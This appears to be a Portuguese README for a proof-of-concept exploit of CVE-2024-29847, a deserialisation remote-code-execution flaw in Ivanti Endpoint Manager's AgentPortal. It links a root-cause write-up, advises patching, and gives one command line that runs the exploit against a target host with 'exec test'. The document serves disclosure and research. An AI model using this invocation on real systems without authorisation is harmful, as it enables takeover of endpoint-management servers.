sinsinology/cve-2024-29847Exploit para CVE-2024-29847
Prova de conceito para a vulnerabilidade de execução remota de código por desserialização de dados não confiáveis no AgentPortal do Ivanti Endpoint Manager (CVE-2024-29847)
Uma análise de causa raiz da vulnerabilidade pode ser encontrada no meu blog:
https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/
CVE-2024-29847.exe --uselease --installdir "C:\Program Files\LANDesk\ManagementSuite\LANDesk\ManagementSuite\Core\Core.Webservices" tcp://192.168.0.200:49669/LDSM exec test
Atualize para a versão mais recente ou mitigue seguindo este link
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.